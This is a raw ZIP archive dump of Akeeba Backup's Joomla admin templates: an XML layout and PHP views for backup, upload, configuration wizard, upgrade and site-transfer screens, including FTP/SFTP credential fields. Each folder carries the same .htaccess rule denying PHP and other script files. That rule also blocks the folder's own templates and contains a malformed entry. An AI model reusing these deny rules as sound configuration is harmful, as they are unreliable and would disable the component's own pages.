PK     \l      tmpl/backup/default.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBABACKUP_VIEW_BACKUP_TITLE">
		<message>
			<![CDATA[COM_AKEEBABACKUP_VIEW_BACKUP_DESC]]>
		</message>
	</layout>
	<fields name="request"
			addfieldpath="/administrator/components/com_akeebabackup/src/Field"
			addfieldprefix="Akeeba\Component\AkeebaBackup\Administrator\Field">
		<fieldset name="request">
			<field name="profileid"
				   type="backupprofiles"
				   show_none="yes"
				   default="0"
				   label="COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_LABEL"
				   description="COM_AKEEBABACKUP_VIEW_BACKUP_PROFILE_DESC"
			/>

			<field name="autostart"
				   type="radio"
				   layout="joomla.form.field.radio.switcher"
				   default="0"
				   label="COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_LABEL"
				   description="COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_DESC"
			>
				<option value="0">JNo</option>
				<option value="1">JYes</option>
			</field>

			<!--
			<field name="akeeba_hide_toolbar"
				   type="radio"
				   layout="joomla.form.field.radio.switcher"
				   default="0"
				   label="COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_LABEL"
				   description="COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_DESC"
			>
				<option value="0">JNo</option>
				<option value="1">JYes</option>
			</field>
			-->

			<field name="returnurl"
				   type="urlencoded"
				   default=""
				   label="COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_LABEL"
				   description="COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_DESC"
				   />
		</fieldset>
	</fields>
</metadata>
PK     \Sʉ        tmpl/backup/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \۹      tmpl/upload/uploading.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<form action="index.php?option=com_akeebabackup&task=Upload.upload&tmpl=component"
	  method="post" name="akeebauploadform">
	<input type="hidden" name="id" value="<?= (int) $this->id ?>" />
	<input type="hidden" name="part" value="<?= (int) $this->part ?>" />
	<input type="hidden" name="frag" value="<?= (int) $this->frag ?>" />
</form>

<div class="alert alert-info">
	<?php if($this->frag == 0): ?>
		<?= Text::sprintf('COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGPART', $this->part+1, max($this->parts, 1)) ?>
	<?php else: ?>
		<?= Text::sprintf('COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGFRAG', $this->part+1, max($this->parts, 1), max(++$this->frag, 1)) ?>
	<?php endif ?>
</div>
PK     \٧T  T    tmpl/upload/error.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Component\AkeebaBackup\Administrator\View\Upload\HtmlView;
use Joomla\CMS\Language\Text;

/** @var HtmlView $this */

$errorParts = explode("\n", $this->errorMessage, 2);

?>
<div class="alert alert-danger">
	<?php if (!empty($this->errorMessage)): ?>
    <h3 class="alert-heading">
        <?= Text::_('COM_AKEEBABACKUP_TRANSFER_MSG_FAILED') ?>
    </h3>
    <p>
        <?= $errorParts[0] ?>
    </p>
    <?php if(isset($errorParts[1])): ?>
        <pre><?= $errorParts[1] ?></pre>
    <?php endif ?>
	<?php else: ?>
		<?= Text::_('COM_AKEEBABACKUP_TRANSFER_MSG_FAILED') ?>
	<?php endif; ?>
</div>
PK     \{Y      tmpl/upload/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<form action="index.php?option=com_akeebabackup&task=Upload.upload&tmpl=component"
	  method="post" name="akeebauploadform">
	<input type="hidden" name="id" value="<?= (int) $this->id ?>" />
	<input type="hidden" name="part" value="-1" />
	<input type="hidden" name="frag" value="-1" />
</form>

<div class="alert alert-info">
	<?= Text::_('COM_AKEEBABACKUP_TRANSFER_MSG_START') ?>
</div>
PK     \<      tmpl/upload/done.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="alert alert-success" id="comAkeebaUploadDone">
	<?= Text::_('COM_AKEEBABACKUP_TRANSFER_MSG_DONE') ?>
</div>
PK     \Sʉ        tmpl/upload/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \]OQ  Q  $  tmpl/configurationwizard/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

$steps = ['flush', 'minexec', 'directory', 'dbopt', 'maxexec', 'splitsize']

?>

<div id="akeeba-confwiz">

    <div id="backup-progress-pane">
        <div class="alert alert-warning">
            <?= Text::_('COM_AKEEBABACKUP_CONFWIZ_INTROTEXT') ?>
        </div>

        <div id="backup-progress-header" class="card">
			<h3 class="card-header bg-primary text-white">
				<span class="fa fa-diagnoses me-2"></span>
		        <?= Text::_('COM_AKEEBABACKUP_CONFWIZ_PROGRESS') ?>
			</h3>

            <div id="backup-progress-content" class="card-body">
                <div id="backup-steps" class="d-flex flex-column align-items-stretch gap-2">
					<?php foreach ($steps as $step): ?>
					<div id="step-<?= $step ?>" class="border rounded bg-light p-1">
						<span class="text-secondary px-1 py-1 rounded-5 float-start border border-light border-2" id="step-<?= $step ?>-wait">
							<span class="fa fa-hourglass-start fa-fw" aria-hidden="true"></span>
						</span>
						<span class="text-dark px-1 py-1 rounded-5 float-start border border-light border-2 d-none" id="step-<?= $step ?>-run">
							<span class="fa fa-play fa-fw" aria-hidden="true"></span>
						</span>
						<span class="bg-success text-white px-1 rounded-5 float-start border border-light border-2 d-none" id="step-<?= $step ?>-done">
							<span class="fa fa-check fa-fw" aria-hidden="true"></span>
						</span>
						<span class="bg-danger text-white px-1 rounded-5 float-end border border-light border-2 d-none" id="step-<?= $step ?>-error">
							<span class="fa fa-xmark fa-fw" aria-hidden="true"></span>
						</span>
						<span class="ms-2 text-dark bg-light"><?= Text::_('COM_AKEEBABACKUP_CONFWIZ_' . $step) ?></span>
					</div>
					<?php endforeach; ?>
				</div>
                <div class="backup-steps-container mt-4 p-2 bg-info border-top border-3 text-white">
                    <div id="backup-substep">&nbsp;</div>
                </div>
            </div>
        </div>

    </div>

    <div id="error-panel" class="card card-body my-3 border-2 border-danger" style="display:none">
        <h3 class="text-danger"><?= Text::_('COM_AKEEBABACKUP_CONFWIZ_HEADER_FAILED') ?></h3>
        <div id="errorframe">
            <p id="backup-error-message">
            </p>
        </div>
    </div>

    <div id="backup-complete" style="display: none">
        <div class="card card-body border-2 border-success">
            <h3 class="text-success"><?= Text::_('COM_AKEEBABACKUP_CONFWIZ_HEADER_FINISHED') ?></h3>
            <div id="finishedframe">
                <p>
                    <?= Text::_('COM_AKEEBABACKUP_CONFWIZ_CONGRATS') ?>
                </p>
                <p>
                    <a
                            class="btn btn-primary btn-lg"
                            href="<?= $this->escape( Uri::base() )?>index.php?option=com_akeebabackup&view=Backup">
                        <span class="fa fa-play"></span>
                        <?= Text::_('COM_AKEEBABACKUP_BACKUP') ?>
                    </a>
                    <a
                            class="btn btn-outline-secondary"
                            href="<?= $this->escape( Uri::base() )?>index.php?option=com_akeebabackup&view=Configuration">
                        <span class="fa fa-wrench"></span>
                        <?= Text::_('COM_AKEEBABACKUP_CONFIG') ?>
                    </a>
					<?php if(AKEEBABACKUP_PRO): ?>
                    <a
                            class="btn btn-outline-dark"
                            href="<?= $this->escape( Uri::base() )?>index.php?option=com_akeebabackup&view=Schedule">
                        <span class="fa fa-calendar"></span>
                        <?= Text::_('COM_AKEEBABACKUP_SCHEDULE') ?>
                    </a>
                    <?php endif ?>
                </p>
            </div>
        </div>
    </div>
</div>
PK     \Sʉ      "  tmpl/configurationwizard/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \]z
  
    tmpl/upgrade/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Upgrade\HtmlView $this */

$btnWarning = !$this->needsMigration || !$this->hasCompatibleVersion;
?>

<div class="card">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_UPGRADE') ?>
	</h3>
	<div class="card-body">
		<?php if ($this->needsMigration && $this->hasCompatibleVersion): ?>
			<div class="alert alert-warning">
				<span class="fa fa-exclamation-triangle"></span>
				<?= Text::_('COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_STANDARD') ?>
			</div>
		<?php elseif (!$this->hasCompatibleVersion): ?>
			<div class="alert alert-danger">
				<p class="text-danger text-center fs-1">
					<span class="fa fa-exclamation-circle"></span>
					<strong>
						<?= Text::_('COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_HEAD') ?>
					</strong>
					<span class="fa fa-exclamation-circle"></span>
				</p>
				<p>
					<?= Text::_('COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_BODY' )?>
				</p>
			</div>
		<?php else: ?>
			<div class="alert alert-danger">
				<p class="text-danger text-center fs-1">
					<span class="fa fa-exclamation-circle"></span>
					<strong>
						<?= Text::_('COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_HEAD' )?>
					</strong>
					<span class="fa fa-exclamation-circle"></span>
				</p>
				<p>
					<?= Text::_('COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_BODY' )?>
				</p>
			</div>
		<?php endif; ?>


		<div class="my-2 p-3">
			<p>
				<?= Text::_('COM_AKEEBABACKUP_UPGRADE_LBL_WHAT_IT_DOES' )?>
			</p>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_UPGRADE_LBL_REMEMBER_TO_UNINSTALL' )?>
			</p>
		</div>

		<p>
			<a class="btn btn-<?= $btnWarning ? 'outline-warning' : 'primary' ?> btn-lg me-4"
			   href="<?= Route::_('index.php?option=com_akeebabackup&task=Upgrade.migrate&' . Factory::getApplication()->getSession()->getFormToken() . '=1') ?>"
			>
				<span class="fa fa-file-import"></span>
				<?= Text::_('COM_AKEEBABACKUP_UPGRADE_BTN_PROCEED') ?>
			</a>
			<a class="btn btn-dark"
			   href="<?= Route::_('index.php?option=com_akeebabackup') ?>"
			>
				<span class="fa fa-<?= Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left' ?>"></span>
				<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL') ?>
			</a>
		</p>
	</div>
</div>PK     \Sʉ        tmpl/upgrade/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \a+  +  *  tmpl/transfer/default_remoteconnection.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

/** @var  $this  \Akeeba\Component\AkeebaBackup\Administrator\View\Transfer\HtmlView */

?>
<div class="card mb-3">
	<h3 class="card-header bg-primary text-white">
		<?= Text::_('COM_AKEEBABACKUP_TRANSFER_HEAD_REMOTECONNECTION') ?>
	</h3>

    <div class="card-body">
        <div id="akeeba-transfer-main-container">
            <div class="row mb-3">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-url">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL') ?>
                </label>

				<div class="col-sm-9">
					<div class="input-group">
						<input class="form-control" id="akeeba-transfer-url" placeholder="http://www.example.com"
							   type="url" autocomplete="off"
							   value="<?= $this->escape($this->newSiteUrl)?>">
						<button class="btn btn-dark"
								id="akeeba-transfer-btn-url" type="button">
							<?= Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN') ?>
						</button>
					</div>

					<div class="form-text" id="akeeba-transfer-lbl-url">
						<p>
							<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL_TIP') ?>
						</p>
					</div>
				</div>
            </div>

            <div id="akeeba-transfer-row-url" class="row mb-3">
				<div class="col-sm-9 col-sm-offset-3">
					<img alt="Loading. Please wait..."
						 id="akeeba-transfer-loading"
						 src="<?= Uri::root() ?>media/com_akeebabackup/icons/loading.gif"
						 style="display: none;" />
					<br />

					<div class="alert alert-danger"
						 id="akeeba-transfer-err-url-same" style="display: none;">
						<?= Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_SAME') ?>
						<p class="text-center">
							<a href="https://www.akeeba.com/videos/1212-akeeba-backup/1618-abtc04-restore-site-new-server.html"
							   class="btn btn-link">
								<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_LINK') ?>
							</a>
						</p>
					</div>

					<div class="alert alert-danger"
						 id="akeeba-transfer-err-url-invalid" style="display: none;">
						<?= Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_INVALID') ?>
					</div>

					<div class="alert alert-danger"
						 id="akeeba-transfer-err-url-notexists" style="display: none;">
						<p>
							<?= Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_NOTEXISTS') ?>
						</p>
						<p>
							<button class="btn btn-danger" id="akeeba-transfer-err-url-notexists-btn-ignore"
									type="button">
								&#9888;
								<?= Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN_IGNOREERROR') ?>
							</button>
						</p>
					</div>
				</div>
            </div>
        </div>

        <div id="akeeba-transfer-ftp-container" style="display: none">
            <div class="row mb-3">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-ftp-method">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD') ?>
                </label>

				<div class="col-sm-9">
					<?= HTMLHelper::_('select.genericlist', $this->transferOptions, 'akeeba-transfer-ftp-method', ['list.attr' => ['class' => 'form-select']], 'value', 'text', $this->transferOption, 'akeeba-transfer-ftp-method') ?>
					<?php if($this->hasFirewalledMethods): ?>
					<div class="alert alert-warning">
						<h5>
							<?= Text::_('COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_HEAD') ?>
						</h5>
						<p>
							<?= Text::_('COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_BODY') ?>
						</p>
					</div>
					<?php endif ?>
				</div>

            </div>

            <div class="row mb-3">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-ftp-host">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_FTP_HOST') ?>
                </label>
				<div class="col-sm-9">
                	<input class="form-control" id="akeeba-transfer-ftp-host" placeholder="ftp.example.com"
						   type="text"
						   value="<?= $this->escape($this->ftpHost)?>" />
				</div>
            </div>

            <div class="row mb-3">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-ftp-port">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PORT') ?>
                </label>
				<div class="col-sm-9">
                	<input class="form-control" id="akeeba-transfer-ftp-port" placeholder="21"
						   type="text" value="<?= $this->escape($this->ftpPort)?>" />
				</div>
            </div>

            <div class="row mb-3">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-ftp-username">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_FTP_USERNAME') ?>
                </label>
				<div class="col-sm-9">
                	<input class="form-control" id="akeeba-transfer-ftp-username" placeholder="myUserName" type="text"
						   value="<?= $this->escape($this->ftpUsername)?>" />
				</div>
            </div>

            <div class="row mb-3">
                <label for="akeeba-transfer-ftp-password"
					   class="col-sm-3 col-form-label">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSWORD') ?>
                </label>
				<div class="col-sm-9">
                	<input class="form-control" id="akeeba-transfer-ftp-password" placeholder="myPassword"
						   type="password" value="<?= $this->escape($this->ftpPassword)?>" />
				</div>
            </div>

            <div class="row mb-3">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-ftp-pubkey">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PUBKEY') ?>
                </label>
				<div class="col-sm-9">
                	<input class="form-control" id="akeeba-transfer-ftp-pubkey" placeholder="<?= $this->escape(JPATH_SITE . DIRECTORY_SEPARATOR)?>id_rsa.pub"
						   type="text"
						   value="<?= $this->escape($this->ftpPubKey)?>" />
				</div>
            </div>

            <div class="row mb-3">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-ftp-privatekey">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PRIVATEKEY') ?>
                </label>
				<div class="col-sm-9">
                	<input class="form-control" id="akeeba-transfer-ftp-privatekey"
						   placeholder="<?= $this->escape(JPATH_SITE . DIRECTORY_SEPARATOR)?>id_rsa"
						   type="text"
						   value="<?= $this->escape($this->ftpPrivateKey)?>" />
				</div>
            </div>

            <div class="row mb-3">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-ftp-directory">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_FTP_DIRECTORY') ?>
                </label>
				<div class="col-sm-9">
                	<input class="form-control" id="akeeba-transfer-ftp-directory"
						   placeholder="public_html" type="text" value="<?= $this->escape($this->ftpDirectory)?>" />
				</div>
            </div>

            <!-- Chunk method -->
            <div class="row mb-3">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-chunkmode">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE') ?>
                </label>
				<div class="col-sm-9">
					<?= HTMLHelper::_('select.genericlist', $this->chunkOptions, 'akeeba-transfer-chunkmode', ['list.attr' => ['class' => 'form-select']], 'value', 'text', $this->chunkMode, 'akeeba-transfer-chunkmode') ?>
					<p class="form-text">
						<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_INFO') ?>
					</p>
				</div>
            </div>

            <!-- Chunk size -->
            <div class="row mb-3">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-chunksize">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE') ?>
                </label>
				<div class="col-sm-9">
					<?= HTMLHelper::_('select.genericlist', $this->chunkSizeOptions, 'akeeba-transfer-chunksize', ['list.attr' => ['class' => 'form-select']], 'value', 'text', $this->chunkSize, 'akeeba-transfer-chunksize') ?>
					<p class="form-text">
						<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE_INFO') ?>
					</p>
				</div>
            </div>

            <div class="row mb-3" id="akeeba-transfer-ftp-passive-container">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-ftp-passive">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSIVE') ?>
                </label>
				<div class="col-sm-9">
					<?= $this->booleanSwitch('akeeba-transfer-ftp-passive', $this->ftpPassive ? 1 : 0) ?>
                </div>
            </div>

            <div class="row mb-3" id="akeeba-transfer-ftp-passive-fix-container">
                <label class="col-sm-3 col-form-label"
					   for="akeeba-transfer-ftp-passive-fix">
                    <?= Text::_('COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_TITLE') ?>
                </label>
				<div class="col-sm-9">
	                <?= $this->booleanSwitch('akeeba-transfer-ftp-passive-fix', $this->ftpPassiveFix ? 1 : 0) ?>
					<p class="form-text">
						<?= Text::_('COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_DESCRIPTION') ?>
					</p>
                </div>
            </div>

            <div class="alert alert-danger" id="akeeba-transfer-ftp-error" style="display:none;">
                <p id="akeeba-transfer-ftp-error-body">MESSAGE</p>

                <a class="btn btn-warning"
				   href="<?= Route::_('index.php?option=com_akeebabackup&view=Transfer&force=1') ?>"
				   id="akeeba-transfer-ftp-error-force" style="display:none">
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_OVERRIDE') ?>
                </a>
            </div>

            <div class="row mb-3">
                <div class="col-sm-9 col-sm-offset-3">
                    <button class="btn btn-primary"
							id="akeeba-transfer-btn-apply"
							type="button">
                        <?= Text::_('COM_AKEEBABACKUP_TRANSFER_BTN_FTP_PROCEED') ?>
                    </button>
                </div>
            </div>

            <div class="alert alert-info" id="akeeba-transfer-apply-loading" style="display: none;">
                <h4>
                    <?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_VALIDATING') ?>
                </h4>
                <p class="text-center">
                    <img src="<?= Uri::root() ?>media/com_akeebabackup/icons/loading.gif"
                         alt="<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_VALIDATING') ?>" />
                </p>
            </div>
        </div>
    </div>
</div>
PK     \Tw    '  tmpl/transfer/default_prerequisites.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var  $this  \Akeeba\Component\AkeebaBackup\Administrator\View\Transfer\HtmlView */

?>
<div class="card mb-3">
	<h3 class="card-header <?= empty($this->latestBackup) ? 'bg-danger' : 'bg-success' ?> text-white">
		<?= Text::_('COM_AKEEBABACKUP_TRANSFER_HEAD_PREREQUISITES') ?>
	</h3>

	<div class="card-body">
		<table class="table table-striped w-100">
			<tbody>
			<tr>
				<td>
					<strong>
						<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP') ?>
					</strong>
					<br/>
					<small>
						<?php if(empty($this->latestBackup) && $this->selectedBackupId > 0): ?>
							<?= Text::sprintf('COM_AKEEBABACKUP_TRANSFER_ERR_COMPLETEBACKUP_SPECIFIC', $this->selectedBackupId) ?>
						<?php elseif(empty($this->latestBackup)): ?>
							<?= Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_COMPLETEBACKUP') ?>
						<?php elseif($this->selectedBackupId > 0): ?>
							<?= Text::sprintf('COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP_INFO_SPECIFIC', $this->selectedBackupId, $this->lastBackupDate) ?>
						<?php else: ?>
							<?= Text::sprintf('COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP_INFO', $this->lastBackupDate) ?>
						<?php endif ?>
					</small>
				</td>
				<td width="20%">
					<?php if(empty($this->latestBackup)): ?>
						<a href="<?= Route::_('index.php?option=com_akeebabackup&view=Backup') ?>"
						   class="btn btn-success"
						   id="akeeba-transfer-btn-backup">
							<?= Text::_('COM_AKEEBABACKUP_BACKUP_LABEL_START') ?>
						</a>
					<?php endif ?>
				</td>
			</tr>
			<?php if(!(empty($this->latestBackup))): ?>
				<tr>
					<td>
						<strong>
							<?= Text::sprintf('COM_AKEEBABACKUP_TRANSFER_LBL_SPACE', $this->spaceRequired['string']) ?>
						</strong>
						<br/>
						<small id="akeeba-transfer-err-space" style="display: none">
							<?= Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_SPACE') ?>
						</small>
					</td>
					<td>
					</td>
				</tr>
			<?php endif ?>
			</tbody>
		</table>
	</div>
</div>
PK     \hA  A    tmpl/transfer/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

/** @var  $this  \Akeeba\Component\AkeebaBackup\Administrator\View\Transfer\HtmlView */
?>

<?php if ($this->force): ?>
	<div class="alert alert-warning">
		<h3>
			<?= Text::_('COM_AKEEBABACKUP_TRANSFER_FORCE_HEADER') ?>
		</h3>
		<p>
			<?= Text::_('COM_AKEEBABACKUP_TRANSFER_FORCE_BODY') ?>
		</p>
	</div>
<?php endif ?>

<?= $this->loadTemplate('prerequisites') ?>

<?php if (!empty($this->latestBackup)): ?>
	<?= $this->loadTemplate('remoteconnection') ?>
	<?= $this->loadTemplate('manualtransfer') ?>
	<?= $this->loadTemplate('upload') ?>
<?php endif; ?>
PK     \g    (  tmpl/transfer/default_manualtransfer.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Component\AkeebaBackup\Administrator\Helper\Utils;
use Joomla\CMS\Language\Text;

/** @var  $this  \Akeeba\Component\AkeebaBackup\Administrator\View\Transfer\HtmlView */

$dotPos    = strrpos($this->latestBackup['archivename'], '.');
$extension = substr($this->latestBackup['archivename'], $dotPos + 1);
$bareName  = basename($this->latestBackup['archivename'], '.' . $extension);

?>
<div id="akeeba-transfer-manualtransfer" class="card mb-3" style="display: none;">
	<h3 class="card-header bg-primary text-white">
		<?= Text::_('COM_AKEEBABACKUP_TRANSFER_HEAD_MANUALTRANSFER') ?>
	</h3>

	<div class="card-body">
		<div class="alert alert-info">
			<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_INFO') ?>
		</div>

		<p>
			<a class="btn btn-primary btn-lg"
			   href="https://www.akeeba.com/videos/1212-akeeba-backup/1618-abtc04-restore-site-new-server.html"
			   target="_blank">

				<?= Text::_('COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_LINK') ?>
			</a>
		</p>

		<h4>
			<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_BACKUPINFO') ?>
		</h4>

		<h5>
			<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME') ?>
		</h5>

		<p>
			<?php if($this->latestBackup['multipart'] < 2): ?>
				<?= $this->escape($this->latestBackup['archivename']) ?>
			<?php else: ?>
				<?= Text::sprintf('COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_MULTIPART', $this->latestBackup['multipart']) ?>
			<?php endif ?>
		</p>

		<?php if($this->latestBackup['multipart'] >= 2): ?>
			<ul>
				<?php for($i = 1; $i < $this->latestBackup['multipart']; $i++): ?>
					<li><?= $this->escape($bareName . '.' . substr($extension, 0, 1) . sprintf('%02u', $i)) ?></li>
				<?php endfor ?>
				<li>
					<?= $this->escape($this->latestBackup['archivename']) ?>
				</li>
			</ul>
		<?php endif ?>

		<h5>
			<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH') ?>
		</h5>
		<p>
			<?= $this->escape(Utils::getRelativePath(JPATH_SITE, dirname($this->latestBackup['absolute_path'])))?>
		</p>
	</div>
</div>
PK     \`>'	  '	     tmpl/transfer/default_upload.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var  $this  \Akeeba\Component\AkeebaBackup\Administrator\View\Transfer\HtmlView */
?>

<div id="akeeba-transfer-upload" class="card mb-3" style="display: none;">
